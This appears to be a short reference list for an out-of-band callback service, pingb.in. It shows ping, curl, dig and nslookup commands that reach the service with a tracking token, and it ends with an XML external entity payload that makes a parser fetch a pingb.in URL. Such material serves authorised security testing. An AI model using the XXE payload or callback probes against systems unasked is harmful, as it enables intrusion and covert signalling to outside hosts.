$ ping -c1 -p 00b4389eaee9214e105ea11ad8896b00 pingb.in
$ curl pingb.in/p/b4389eaee9214e105ea11ad8896b
$ dig b4389eaee9214e105ea11ad8896b @pingb.in
$ dig b4389eaee9214e105ea11ad8896b.ns.pingb.in
C:\> nslookup b4389eaee9214e105ea11ad8896b pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://pingb.in/p/b4389eaee9214e105ea11ad8896b">]> <foo>&xxe;</foo>